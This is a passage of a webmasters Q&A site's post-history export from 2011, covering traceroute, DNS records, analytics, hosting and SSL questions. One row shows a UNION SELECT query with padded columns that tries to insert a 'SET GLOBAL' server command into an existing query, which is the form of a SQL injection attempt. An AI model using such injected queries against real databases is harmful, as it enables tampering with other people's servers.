  <row Id="42978" PostHistoryTypeId="2" PostId="17793" RevisionGUID="72a34a43-86d0-44cd-a376-90745e2a93f7" CreationDate="2011-08-04T13:45:33.720" UserId="5679" Text="The below is a part of `traceroute` to my hosted server:&#xD;&#xA;&#xD;&#xA;     9  ae-2-2.ebr2.dallas1.level3.net (4.69.132.106)  19.433 ms  19.599 ms  19.275 ms&#xD;&#xA;    10  ae-72-72.csw2.dallas1.level3.net (4.69.151.141)  19.496 ms&#xD;&#xA;        ae-82-82.csw3.dallas1.level3.net (4.69.151.153)  19.630 ms&#xD;&#xA;        ae-62-62.csw1.dallas1.level3.net (4.69.151.129)  19.518 ms&#xD;&#xA;    11  ae-3-80.edge4.dallas3.level3.net (4.69.145.141)  19.659 ms&#xD;&#xA;        ae-2-70.edge4.dallas3.level3.net (4.69.145.77)  90.610 ms&#xD;&#xA;        ae-4-90.edge4.dallas3.level3.net (4.69.145.205)  19.658 ms&#xD;&#xA;    12  the-planet.edge4.dallas3.level3.net (4.59.32.30)  19.905 ms  19.519 ms  19.688 ms&#xD;&#xA;    13  te9-2.dsr01.dllstx3.networklayer.com (70.87.253.14)  40.037 ms  24.063 ms&#xD;&#xA;        te2-4.dsr02.dllstx3.networklayer.com (70.87.255.46)  28.605 ms&#xD;&#xA;    14  * * *&#xD;&#xA;    15  * * *&#xD;&#xA;    16  zyzzyva.site5.com (174.122.37.66)  20.414 ms  20.603 ms  20.467 ms&#xD;&#xA;&#xD;&#xA;What's the meaning of lines 14 and 15? Information hidden?&#xD;&#xA;" />
  <row Id="42979" PostHistoryTypeId="1" PostId="17793" RevisionGUID="72a34a43-86d0-44cd-a376-90745e2a93f7" CreationDate="2011-08-04T13:45:33.720" UserId="5679" Text="asterik/star in traceroute" />
  <row Id="42980" PostHistoryTypeId="3" PostId="17793" RevisionGUID="72a34a43-86d0-44cd-a376-90745e2a93f7" CreationDate="2011-08-04T13:45:33.720" UserId="5679" Text="&lt;dns&gt;&lt;ip&gt;" />
  <row Id="42981" PostHistoryTypeId="2" PostId="17794" RevisionGUID="2e9e6894-6155-43f6-9fc0-f9dbc035eb29" CreationDate="2011-08-04T13:49:11.243" UserId="1643" Text="&gt;  If a packet is not acknowledged within the expected timeout, an&#xD;&#xA;&gt; asterisk is displayed.&#xD;&#xA;&#xD;&#xA;From http://en.wikipedia.org/wiki/Traceroute&#xD;&#xA;&#xD;&#xA;However zyzzyva.site5.com did eventually respond which is why you have line 16." />
  <row Id="42982" PostHistoryTypeId="4" PostId="17793" RevisionGUID="e166803f-3ed2-4b54-b430-d5f3e00c9127" CreationDate="2011-08-04T13:49:40.730" UserId="1643" Comment="question, typo" Text="What does an asterisk/star in traceroute mean?" />
  <row Id="42983" PostHistoryTypeId="2" PostId="17795" RevisionGUID="0deb013e-8774-4c49-8a6c-f1bed8d0c3f2" CreationDate="2011-08-04T13:50:16.270" UserId="1253" Text="Google doesn't publish this information so any service you find this kind of information will not be complete and it will be speculative in nature. &#xD;&#xA;&#xD;&#xA;If you do purchase a new domain and it appears to have issues with Google, you can always file an re-inclusion request with Google stating that you are the new owner and the site follows their guidelines. " />
  <row Id="42984" PostHistoryTypeId="4" PostId="17788" RevisionGUID="1c019774-daa7-48dd-b77e-cd7762a12423" CreationDate="2011-08-04T13:50:35.600" UserId="1253" Comment="modified tags, minor text edits" Text="Any good service where I can see if a domain is blacklisted by Google or not?" />
  <row Id="42985" PostHistoryTypeId="6" PostId="17788" RevisionGUID="1c019774-daa7-48dd-b77e-cd7762a12423" CreationDate="2011-08-04T13:50:35.600" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;blacklist&gt;" />
  <row Id="42986" PostHistoryTypeId="5" PostId="17790" RevisionGUID="b81571f1-2ffb-48c2-90e4-74c790f3a7c5" CreationDate="2011-08-04T13:53:47.730" UserId="1643" Comment="deleted 9 characters in body" Text="What are the performance or any other considerations involved when deciding whether to use Name Servers or A Records when pointing your domain registrar to your website host?&#xD;&#xA;&#xD;&#xA;**My case:**&#xD;&#xA;&#xD;&#xA;I have a domain registered with Network Solutions, email with Network solutions, and a website hosted on GoDaddy. &#xD;&#xA;&#xD;&#xA;My thought here is that I point the A Record to GoDaddy, because it's my only option without breaking email.  However, if I were not using any Network Solutions services, would it be better just to point the name servers to GoDaddy?&#xD;&#xA;" />
  <row Id="42987" PostHistoryTypeId="4" PostId="17740" RevisionGUID="9c0ce3dd-5c49-48d6-a54f-5c8e95934bfc" CreationDate="2011-08-04T13:56:43.270" UserId="233" Comment="missing apostrophe was annoying the grammar nazi in me ;)" Text="What's the maximum length of the meta kewords tag?" />
  <row Id="42988" PostHistoryTypeId="2" PostId="17796" RevisionGUID="12416647-2a34-4d8e-9fd2-fbb91498714f" CreationDate="2011-08-04T14:01:52.923" UserId="9390" Text="I'm searching a way to insert this &#xD;&#xA;&#xD;&#xA;`SET GLOBAL group_concat_max_len=15000`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;in an existing SQL query such as the following: &#xD;&#xA;&#xD;&#xA;    SELECT * FROM `Pages` WHERE id =1 UNION SELECT 1 , 2, IF( 1 &gt;0, SET GLOBAL group_concat_max_len=15000,'B' ) &#xD;&#xA;&#xD;&#xA;But I couldn't make it work because usually this query is executed on its own and I was wondering if some of you had any idea how to make it work&#xD;&#xA;&#xD;&#xA; " />
  <row Id="42989" PostHistoryTypeId="1" PostId="17796" RevisionGUID="12416647-2a34-4d8e-9fd2-fbb91498714f" CreationDate="2011-08-04T14:01:52.923" UserId="9390" Text="MySQL group_concat_max_len in a query" />
  <row Id="42990" PostHistoryTypeId="3" PostId="17796" RevisionGUID="12416647-2a34-4d8e-9fd2-fbb91498714f" CreationDate="2011-08-04T14:01:52.923" UserId="9390" Text="&lt;mysql&gt;&lt;sql&gt;" />
  <row Id="42991" PostHistoryTypeId="14" PostId="17796" RevisionGUID="1bb05256-306b-4506-af62-29af87b063f7" CreationDate="2011-08-04T14:07:44.760" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="42992" PostHistoryTypeId="17" PostId="17796" RevisionGUID="adc8d21a-6770-485a-bc5c-5609f1816f41" CreationDate="2011-08-04T14:07:44.773" UserId="1253" Comment="to http://stackoverflow.com/questions/6942901/mysql-group-concat-max-len-in-a-query" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42993" PostHistoryTypeId="10" PostId="17796" RevisionGUID="02c77d0b-8567-4842-9b6a-3346952801a1" CreationDate="2011-08-04T14:07:42.573" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42994" PostHistoryTypeId="2" PostId="17797" RevisionGUID="88bbb4c7-214a-45c2-b1a2-1e45946b9f37" CreationDate="2011-08-04T14:08:17.040" UserId="8687" Text="I think you've got some of the terminology a little confused but not to worry.&#xD;&#xA;&#xD;&#xA;What you mean is:&#xD;&#xA;&#xD;&#xA;Should I use Network Solutions (my registrars) nameservers and point my A Record to godaddy's  webserver IP?&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;Should I change the Nameserver setting on Network Solutins to point to Godaddy's nameservers and have Godaddy's nameservers point to Godaddys webserver IP.&#xD;&#xA;&#xD;&#xA;The answer is to use whichever DNS system you find easiest to setup/maintain and and secure to run. I should think both Netwrok Solution and Godaddy run good quallity nameservers with good uptime. So we are left only with which is easier to setup.&#xD;&#xA;&#xD;&#xA;Changing the A record on Network Solutions nameserver is probably the simplest to setup as it will preserve other settings such as, as you mention, email.&#xD;&#xA;&#xD;&#xA;The more complex setup would be to change you name to use godaddy's nameservers as you would have to then edit Godaddy's nameserver's MX record to point back network solutions.&#xD;&#xA;&#xD;&#xA;Neither would be difficult but the first one is one step shorter than the last one." />
  <row Id="42995" PostHistoryTypeId="5" PostId="17797" RevisionGUID="f29c504e-d273-44de-982e-8de2c8cfe8a0" CreationDate="2011-08-04T14:36:19.213" UserId="1643" Comment="typos" Text="I think you've got some of the terminology a little confused but not to worry.&#xD;&#xA;&#xD;&#xA;What you mean is:&#xD;&#xA;&#xD;&#xA;Should I use Network Solutions (my registrar's) nameservers and point my A Record to godaddy's webserver IP?&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;Should I change the Nameserver setting on Network Solutions to point to Godaddy's nameservers and have Godaddy's nameservers point to Godaddys webserver IP?&#xD;&#xA;&#xD;&#xA;The answer is to use whichever DNS system you find easiest to setup/maintain and and secure to run. I should think both Network Solution and Godaddy run good quality nameservers with good uptime. So we are left only with which is easier to setup.&#xD;&#xA;&#xD;&#xA;Changing the A record on Network Solutions nameserver is probably the simplest to setup as it will preserve other settings such as, as you mention, email.&#xD;&#xA;&#xD;&#xA;The more complex setup would be to change you name to use godaddy's nameservers as you would have to then edit Godaddy's nameserver's MX record to point back network solutions.&#xD;&#xA;&#xD;&#xA;Neither would be difficult but the first one is one step shorter than the last one." />
  <row Id="42996" PostHistoryTypeId="5" PostId="17782" RevisionGUID="d2e4308e-d504-4b90-867c-188d09fb4895" CreationDate="2011-08-04T14:37:50.307" UserId="1643" Comment="typos" Text="Anything you want, there is no limit." />
  <row Id="42997" PostHistoryTypeId="2" PostId="17798" RevisionGUID="59658894-9c95-4143-b0e5-582238b676fa" CreationDate="2011-08-04T14:42:13.437" UserId="1643" Text="Both. If it's an app it has to have an app page. You might as well publicise your business as well though. You can point to the other one from each page." />
  <row Id="42998" PostHistoryTypeId="2" PostId="17799" RevisionGUID="faba16ee-d283-4f19-b32c-ada05e2236fd" CreationDate="2011-08-04T14:59:19.303" UserId="8687" Text="Have a look at using a CSS Framework to simplify laying out your webpages. Some popular ones to look at are [Blueprint][1], [YUI][2] and [960][3]. These will make it easy for your to make the two column layout you are looking for.&#xD;&#xA;&#xD;&#xA;If you use only html, then you have to repeat the html of the design on every page of the website. This is fine for a small website but if the site gets large, and you want to make a change to the template, then you have to edit every single page.&#xD;&#xA;&#xD;&#xA;Most html editors (such as Dreamweaver) have a template system where you can save the layout and navigation (without content) as a template file and then use that to build all your pages. If you want to make a change, you just edit the template file and all the pages change.&#xD;&#xA;&#xD;&#xA;A more advanced option would be to use some kind of server side include or some very basic php to join together several files that contain your template and content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.blueprintcss.org/&#xD;&#xA;  [2]: http://developer.yahoo.com/yui/grids/&#xD;&#xA;  [3]: http://960.gs/" />
  <row Id="42999" PostHistoryTypeId="2" PostId="17800" RevisionGUID="ee554f42-f2e7-45c2-9922-904f1d03f43f" CreationDate="2011-08-04T14:59:23.247" UserId="9391" Text="There are a few ways I go about checking the integrity of a previously registered or expiriing domain name that I intend to purchase.&#xD;&#xA;&#xD;&#xA; 1. Do a Google search site:yourdomain.com and see if Google still has anything in its index. Not a big deal of not but if any pages are indexed its fine. &#xD;&#xA;&#xD;&#xA; 2. Use archive.org to see what was previously hosted on the domain. Look for anything suspicious like spammy/junk content.&#xD;&#xA;&#xD;&#xA; 3. Check email blacklists. Sometimes a domain may not actually have been used to host a site but used an email spam relay. Use something like http://www.blacklistalert.org&#xD;&#xA;&#xD;&#xA; 4. Page rank check. Use http://www.seomoz.org/toolbox/pagerank. Expiring or recently expired domain names can often still display page rank. No page rank does not necessarily mean the domain is/has been banned.&#xD;&#xA;&#xD;&#xA;Hope this helps!" />
  <row Id="43000" PostHistoryTypeId="2" PostId="17801" RevisionGUID="c49c9c49-0282-4cae-bb5f-5b45c2c21dbf" CreationDate="2011-08-04T15:00:22.970" UserId="1643" Text="I think you have two choices. You could use javascript to modify the contents of the left hand side when the right is clicked on, so that the page never refreshes. This is quick, but doesn't work for people who don't have javascript enabled.&#xD;&#xA;&#xD;&#xA;Or you could just create a series of pages with the same text on the right - though you may want to highlight the &quot;Home&quot; or &quot;Contact Us&quot; text so that the user knows which page they're on." />
  <row Id="43001" PostHistoryTypeId="2" PostId="17802" RevisionGUID="758f5733-00f7-4a12-aa78-7fe17ba18dc2" CreationDate="2011-08-04T15:08:39.713" UserId="9391" Text="I'm not entirely sure what you are exactly looking for but I have similar issues and this is how I handle the pain:&#xD;&#xA;&#xD;&#xA; - Use Passpack.com to store your logins for CMS's, databases etc. Pass pack has a &quot;1 click login&quot; feature that is very useful for gettingo the relevant admin panels quickly.&#xD;&#xA; - If you have a lot of sites using a particular CMS try to set up a centralised core so you only have to update the core files to update all your sites at once.&#xD;&#xA; - Platforms such as wordpress have multi-site manager plugins.&#xD;&#xA; - Use Google analytics to easily track statistics across many sites.&#xD;&#xA; - Use Google webmaster tools to keep track of robot crawl errors and issues with robots.txt/htaccess&#xD;&#xA; - If you have all your sites hosted on one server like a VPS, consider setting up a webdav service so you can drag and drop files to your server, just a like a network drive rather than having to use FTP." />
  <row Id="43002" PostHistoryTypeId="2" PostId="17803" RevisionGUID="976a5745-82e5-4f1e-ab2a-0e81e223745b" CreationDate="2011-08-04T15:16:18.913" UserId="8354" Text="Try **[Adobe Contribute](http://www.adobe.com/products/contribute.html)**. From their [FAQ](http://www.adobe.com/products/contribute/faq.html):&#xD;&#xA;&#xD;&#xA;&gt; **What is Adobe® Contribute® CS5, and who is it for?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Adobe Contribute CS5 software** enables users to collaboratively&#xD;&#xA;&gt; author, review, and publish web content — without learning HTML. It is&#xD;&#xA;&gt; ideal for writers, editors, and content experts who want the freedom&#xD;&#xA;&gt; to update their own web pages. It is also ideal for web designers and&#xD;&#xA;&gt; developers who want to maintain the integrity of their design and&#xD;&#xA;&gt; code." />
  <row Id="43003" PostHistoryTypeId="2" PostId="17804" RevisionGUID="3d3f0236-572e-485a-a19b-9feaf06c5b20" CreationDate="2011-08-04T15:16:53.390" UserId="1643" Text="Actually you don't need to do this, it's OK to return a 404. See the question about soft 404s [here:][1].&#xD;&#xA;&#xD;&#xA;&gt;  You can return a 404 response code while serving whatever content you&#xD;&#xA;&gt; want.&#xD;&#xA;&#xD;&#xA; And further down it says&#xD;&#xA;&#xD;&#xA;&gt; your server should return a 404 if there’s nothing there to find&#xD;&#xA;&#xD;&#xA;Sometimes the Google crawler looks for URL that are very unlikely to exist to see if you never return a 404. I suspect if you do never return a 404 they mark you down.&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2011/05/do-404s-hurt-my-site.html" />
  <row Id="43004" PostHistoryTypeId="2" PostId="17805" RevisionGUID="ab827d48-4497-4047-9ad7-5dba4b4339fa" CreationDate="2011-08-04T15:18:52.170" UserId="9391" Text="1. Check your config.xml file in /app/etc/ to see if the timzone field matches what is set in your magento admin. If not, update the config.xml file with the correct time zone.&#xD;&#xA;&#xD;&#xA;2. Sales Reports may not be available until you use the Refresh Statistics feature to generate the data necessary for reporting&#xD;&#xA;&#xD;&#xA;You can find it under Report&gt;&gt; Refresh Statistics&#xD;&#xA;&#xD;&#xA;Simply check off all the statics you need to process, then select the time period you want to refresh for (Lifetime or Last Day) from the “Actions” drop down, and click Submit...... &#xD;&#xA;&#xD;&#xA;Please refer to this thread in the magento forums if you are still having trouble: http://www.magentocommerce.com/boards/viewt.../viewthread/199303/P0/" />
  <row Id="43005" PostHistoryTypeId="2" PostId="17806" RevisionGUID="08fe8d07-927b-4318-959c-6632bcc36f0e" CreationDate="2011-08-04T15:25:31.523" UserId="9391" Text="The only way I can think of doing this is to customise the URL being tracked by analytics eg domain.com/category/page-name/+tag1+tag2+tag3.  You can then see traffic relevant to any combination of tags but filtering results with your desired tags in GA.&#xD;&#xA;&#xD;&#xA;The drawback of this method is it will create a heap of different URLs for the same page in GA. " />
  <row Id="43006" PostHistoryTypeId="2" PostId="17807" RevisionGUID="5258324b-0ee5-45a4-a7d2-fe12aba96e88" CreationDate="2011-08-04T15:32:15.233" UserId="9329" Text="Google Analytics is a great analytics tool. However I find it's not easy when it comes to tracking INTERNAL traffic.&#xD;&#xA;&#xD;&#xA;For example, let's say I put a banner on my ecommerce advertising a specific product, and want to see how many people buy it thanks to this? Or maybe I add a &quot;best seller&quot; box somewhere and want to see what sales it brings me.&#xD;&#xA;&#xD;&#xA;Can I do that cleanly and easily with Google Analytics?&#xD;&#xA;&#xD;&#xA;Or are there better tools out there suited for tracking internal traffic?" />
  <row Id="43007" PostHistoryTypeId="1" PostId="17807" RevisionGUID="5258324b-0ee5-45a4-a7d2-fe12aba96e88" CreationDate="2011-08-04T15:32:15.233" UserId="9329" Text="Tools to track internal traffic" />
  <row Id="43008" PostHistoryTypeId="3" PostId="17807" RevisionGUID="5258324b-0ee5-45a4-a7d2-fe12aba96e88" CreationDate="2011-08-04T15:32:15.233" UserId="9329" Text="&lt;google-analytics&gt;&lt;analytics&gt;" />
  <row Id="43009" PostHistoryTypeId="25" PostId="17793" RevisionGUID="a1a09325-d934-4204-9104-f627b5077ba1" CreationDate="2011-08-04T15:34:10.927" Comment="http://twitter.com/#!/StackWebmasters/status/99141082784333824" />
  <row Id="43010" PostHistoryTypeId="2" PostId="17808" RevisionGUID="5ce22a67-1c15-4aeb-82bf-5a7edb3eaa6e" CreationDate="2011-08-04T15:35:47.630" UserId="9391" Text="I have developed, modified and replaced a host of zc and oscommerce websites in time.&#xD;&#xA;&#xD;&#xA;I would wholehartedly recommend moving the Magento. The community edition is feature packed and widely used. It is by no means 'perfect' but is continuously improving and was most recently acquired by eBay.&#xD;&#xA;&#xD;&#xA;The major issues for ecommerce sites are related to navigation and shopping cart abandonement. An average, 67% of users whom begin a checkout process will fail to complete it for a multitude of reasons.&#xD;&#xA;&#xD;&#xA;To be competitive in online retail these days a site needs to be able to offer multiple pathways to products. The days of strict categories are over thanks to faceted search.&#xD;&#xA;&#xD;&#xA;Magento has a strong plugins community so you should be able to find any mods you need.&#xD;&#xA;&#xD;&#xA;Good luck with your decision." />
  <row Id="43011" PostHistoryTypeId="2" PostId="17809" RevisionGUID="c6e43e5c-8eb8-474e-8ff2-05ef3ac3f40c" CreationDate="2011-08-04T15:39:08.740" UserId="1643" Text="You can use Campaigns to achieve this, even though they can also be used with external traffic. Start here: https://www.google.com/support/analyticshelp/bin/topic.py?topic=1007028. &#xD;&#xA;&#xD;&#xA;&gt; Google Analytics accurately tracks visitors from a variety of sources,&#xD;&#xA;&gt; such as search engines or email links, to conversions or **transactions&#xD;&#xA;&gt; on your site**, and provides closed-loop ROI analysis. [my emphasis]" />
  <row Id="43012" PostHistoryTypeId="2" PostId="17810" RevisionGUID="cd0130e1-f284-476f-bfea-78af4e0525d1" CreationDate="2011-08-04T15:42:47.550" UserId="9392" Text="My boss is sick of DreamHost's excuses.  We have a popular WP site on a Unix VPS with DreamHost.  We'd like to find a new, more reliable host, who can handle a high-ish traffic WP site and offers SSH access.&#xD;&#xA;&#xD;&#xA;Anyone have a recommendation?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;JG" />
  <row Id="43013" PostHistoryTypeId="1" PostId="17810" RevisionGUID="cd0130e1-f284-476f-bfea-78af4e0525d1" CreationDate="2011-08-04T15:42:47.550" UserId="9392" Text="Excellent WordPress unix hosts with SSH access?" />
  <row Id="43014" PostHistoryTypeId="3" PostId="17810" RevisionGUID="cd0130e1-f284-476f-bfea-78af4e0525d1" CreationDate="2011-08-04T15:42:47.550" UserId="9392" Text="&lt;hosting&gt;&lt;wordpress&gt;&lt;web-hosting&gt;" />
  <row Id="43015" PostHistoryTypeId="2" PostId="17811" RevisionGUID="b0c76f1c-2f7d-40d7-899e-75410c60a94b" CreationDate="2011-08-04T15:47:28.353" UserId="9391" Text="Phrase match is indeed the best barometer for basic keyword research. 1600 global monthly searches is a great value for a first-time SEO project, but if you are only interested in local search traffic then I would not consider it high-value and you may be disappointed with traffic if this is your primary targeted keyword." />
  <row Id="43016" PostHistoryTypeId="5" PostId="17810" RevisionGUID="4a07fead-624f-4f55-a224-5d78cd7e5c55" CreationDate="2011-08-04T15:49:52.883" UserId="1253" Comment="modified tags, minor text edits" Text="My boss is sick of DreamHost's excuses.  We have a popular WP site on a Unix VPS with DreamHost.  We'd like to find a new, more reliable host, who can handle a high-ish traffic WP site and offers SSH access.&#xD;&#xA;&#xD;&#xA;Anyone have a recommendation?&#xD;&#xA;" />
  <row Id="43017" PostHistoryTypeId="6" PostId="17810" RevisionGUID="4a07fead-624f-4f55-a224-5d78cd7e5c55" CreationDate="2011-08-04T15:49:52.883" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;wordpress&gt;&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="43018" PostHistoryTypeId="5" PostId="16951" RevisionGUID="e708926d-6b02-41bd-bb91-f7ed51a80441" CreationDate="2011-08-04T15:50:23.507" UserId="1253" Comment="minor text edits" Text="How to choose good keywords or phrases with respective to competition, monthly global searches and monthly local searches? &#xD;&#xA;&#xD;&#xA;I am using google keyword tool. I am concentrating on Match type : &quot;Phrase&quot;.&#xD;&#xA;&#xD;&#xA;Is this good enough?&#xD;&#xA;&#xD;&#xA;Match Type : &quot;Phrase&quot;  &#xD;&#xA;Competition less is at 3%  &#xD;&#xA;Monthly Global search is 1600  &#xD;&#xA;Monthly local search is 110&#xD;&#xA;" />
  <row Id="43019" PostHistoryTypeId="4" PostId="16951" RevisionGUID="e708926d-6b02-41bd-bb91-f7ed51a80441" CreationDate="2011-08-04T15:50:23.507" UserId="1253" Comment="minor text edits" Text="Choosing good keywords with respect to match type &quot;Phrase&quot; only" />
  <row Id="43020" PostHistoryTypeId="5" PostId="17811" RevisionGUID="df46d1df-6fee-4048-9acd-5bdf268a4479" CreationDate="2011-08-04T16:21:36.070" UserId="9391" Comment="typo/grammar" Text="Phrase match is indeed the best barometer for basic keyword research. 1600 global monthly searches is great for a first-time SEO project. However, if you are only interested in local search traffic then I would not consider it high-value and you may be disappointed with traffic if this is your primary targeted keyword." />
  <row Id="43024" PostHistoryTypeId="2" PostId="17813" RevisionGUID="ed0235a0-98a4-4a62-a60f-e3f7818cefe3" CreationDate="2011-08-04T16:36:00.130" UserId="9394" Text="You can find a list of and source code for all the MediaWiki extensions used by Wikipedia here: http://en.wikipedia.org/wiki/Special:Version&#xD;&#xA;&#xD;&#xA;[WikiEditor][1] is probably the one you're looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediawiki.org/wiki/Extension:UsabilityInitiative" />
  <row Id="43025" PostHistoryTypeId="5" PostId="17810" RevisionGUID="285f1c0a-26f3-4b1f-a31b-11fc8cbddc16" CreationDate="2011-08-04T17:10:31.717" UserId="9392" Comment="added 37 characters in body" Text="My boss is sick of DreamHost's excuses.  We have a popular WP site on a Unix VPS with DreamHost.  We'd like to find a new, more reliable host, who can handle &lt;s&gt;a high-ish&lt;/s&gt; traffic of perhaps 2000 uniques a day WP site and offers SSH access.&#xD;&#xA;&#xD;&#xA;Anyone have a recommendation?&#xD;&#xA;" />
  <row Id="43026" PostHistoryTypeId="2" PostId="17814" RevisionGUID="6209b3f4-3511-4aa9-9e9f-4f6b37d652e3" CreationDate="2011-08-04T17:18:09.667" UserId="9397" Text="I would say that you should go for a VPS, it'll give you more control over things. I'm using Linode.com, they give 512 mb ram vps for just $20/month and that server will be able to handle the traffic easily.&#xD;&#xA;&#xD;&#xA;Now, the issue is that you'd have to setup everything on your own - php, mysql, apache/nginx or whatever you want. Personally, I would suggest that if you want to install then use NGINX as it works flawlessly with WordPress and is lot better than apache in terms of performance. &#xD;&#xA;&#xD;&#xA;You can install NGINX, PHP, MYSQL, APC [opcode caching] using [this script][1]. It'll install quickly and then you will have to configure a little and it'll be good to go!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/vladgh/VladGh.com-LEMP/blob/master/README.mkd" />
  <row Id="43027" PostHistoryTypeId="2" PostId="17815" RevisionGUID="5e3d5e48-10d8-4971-8914-d9541ddd10ca" CreationDate="2011-08-04T17:26:13.860" UserId="558" Text="Web Designer I'm working with signed up a new client that needed an SSL certificate. We went to namecheap.com and purchased on from Comodo. Got all the needed files and set it up in ISPConfig.&#xD;&#xA;&#xD;&#xA;To test we used Windows 7 running IE8, Firefox 3.6, and Chrome 12, and then on OSX with Firefox 4, Safari 5, and Chrome 13. All of them worked fine.&#xD;&#xA;&#xD;&#xA;The client is getting 'This connection is untrusted' in Firefox 4 and 5. Safari works fine on their machine. On my machines and the designer's machines all works with no errors. I had the client forward me the info for the certificate that Firefox has and the fingerprints match up.&#xD;&#xA;&#xD;&#xA;I have an old Windows 2000 VM with IE6 and Chrome and those work just fine as well.&#xD;&#xA;&#xD;&#xA;Any ideas on what else to check or do?&#xD;&#xA;&#xD;&#xA;The server is running Debian 5.0, up-to-date, with Apache 2 and ISPConfig 3.3" />
  <row Id="43028" PostHistoryTypeId="1" PostId="17815" RevisionGUID="5e3d5e48-10d8-4971-8914-d9541ddd10ca" CreationDate="2011-08-04T17:26:13.860" UserId="558" Text="SSL Certificate is Untrusted... sometimes" />
  <row Id="43029" PostHistoryTypeId="3" PostId="17815" RevisionGUID="5e3d5e48-10d8-4971-8914-d9541ddd10ca" CreationDate="2011-08-04T17:26:13.860" UserId="558" Text="&lt;ssl-certificate&gt;&lt;apache2&gt;" />
  <row Id="43030" PostHistoryTypeId="2" PostId="17816" RevisionGUID="4d2153ef-5664-44ea-90be-f9a9874bef0b" CreationDate="2011-08-04T17:43:09.117" UserId="9241" Text="Check the clients machine to make sure their FF is checking your certificate authority... not all browsers 'respect' all authorities &amp; if you have purchased 'cheap' it might be your problem.&#xD;&#xA;&#xD;&#xA;-sean" />
  <row Id="43031" PostHistoryTypeId="25" PostId="17807" RevisionGUID="bc6fbe78-a498-4b5f-bb84-ba986cdccb14" CreationDate="2011-08-04T18:34:10.757" Comment="http://twitter.com/#!/StackWebmasters/status/99186380952965121" />
  <row Id="43032" PostHistoryTypeId="2" PostId="17817" RevisionGUID="f992d0ef-0d07-4d3f-9292-d418c0afb553" CreationDate="2011-08-04T19:00:56.240" UserId="6776" Text="I've two MyBB forums on HostGator Shared Hosting account. I created the second one by copying from the first.&#xD;&#xA;&#xD;&#xA;**The problem is around half of emails sent from the forum( like notifications) don't contain &quot;Sent From&quot; so Outlook shows it empty and Gmail shows it as &quot;Unknown Sender&quot;.**&#xD;&#xA;&#xD;&#xA;At the same time I've another two forums in PHPBB which have no problem along with my 10 sites in Drupal+Joomla.&#xD;&#xA;&#xD;&#xA;What could be the problem?" />
  <row Id="43033" PostHistoryTypeId="1" PostId="17817" RevisionGUID="f992d0ef-0d07-4d3f-9292-d418c0afb553" CreationDate="2011-08-04T19:00:56.240" UserId="6776" Text="Email &quot;Sent From&quot; is sometimes empty" />
  <row Id="43034" PostHistoryTypeId="3" PostId="17817" RevisionGUID="f992d0ef-0d07-4d3f-9292-d418c0afb553" CreationDate="2011-08-04T19:00:56.240" UserId="6776" Text="&lt;email&gt;" />
  <row Id="43035" PostHistoryTypeId="2" PostId="17818" RevisionGUID="829c8338-309e-4354-92a1-939820d9b013" CreationDate="2011-08-04T19:38:13.493" UserId="4502" Text="As much as I personally dislike Dreamhost and encourage you to leave anyway on principle, I'm not sure this is really a hosting issue. I see a few major options:&#xD;&#xA;&#xD;&#xA;1. Dreamhost's VPS plans really, *really* suck.&#xD;&#xA;2. Someone customized the VPS config and messed something up&#xD;&#xA;3. Your WordPress templates are incredibly inefficient and/or something in the WP config(eg. inefficient plugins) is responsible.&#xD;&#xA;&#xD;&#xA;I'm leaning toward the second two. That's just not enough traffic that the number in and of itself should be taking out a server; there has to be more going on.&#xD;&#xA;&#xD;&#xA;If you still want a recommendation, I like &lt;a href=&quot;http://webfaction.com&quot;&gt;WebFaction&lt;/a&gt;. I have a WordPress client on their cheap plan with easily 15x the traffic you're inquiring about and have never seen a significant problem. Technically it's shared hosting, but you have almost as much access as a full VPS, if you happen to need to compile stuff and whatnot. (You didn't say whether VPS was a requirement.)" />
  <row Id="43036" PostHistoryTypeId="17" PostId="17819" RevisionGUID="d12f5f29-c707-40a1-afd4-9dd07eb88241" CreationDate="2011-08-04T19:53:16.697" UserId="-1" Comment="from http://stackoverflow.com/questions/6947281/what-is-the-impact-to-google-rank-when-i-transfer-a-domain" Text="" />
  <row Id="43037" PostHistoryTypeId="17" PostId="17820" RevisionGUID="dd2842ba-06ab-4d71-a895-44cd1167ceab" CreationDate="2011-08-04T19:53:16.697" UserId="-1" Comment="from http://stackoverflow.com/questions/6947281/what-is-the-impact-to-google-rank-when-i-transfer-a-domain" Text="" />
  <row Id="43038" PostHistoryTypeId="2" PostId="17820" RevisionGUID="ce15b7f7-801b-4df9-9d3a-b7341d6ba457" CreationDate="2011-08-04T19:28:40.740" UserId="1253" Text="It depends what you mean by &quot;Google rank&quot; since there is no such thing by that name.&#xD;&#xA;&#xD;&#xA;**If you mean &quot;your pages' rankings&quot;**&#xD;&#xA;&#xD;&#xA;This will affect your pages' performance in Google. &#xD;&#xA;&#xD;&#xA;Firstly, keywords in the domain name are one of the heavier weighted ranking factors. So if this new domain has better keywords in it you should see a boost in your overall rankings. If it has less keywords you should expect a drop in your overall rankings.&#xD;&#xA;&#xD;&#xA;Secondly, by changing domains you are essentially starting from scratch as all of your URLs with be different. This will decimate your rankings. To avoid this issue you will need to do a 301 redirect from the old URLs to the new URLs. You will lose a small amount of PageRank but otherwise all of your link &quot;juice&quot; and rankings will be &quot;transferred&quot; over to the new domain. This process does take a few weeks to occur so when you make the change don't freak 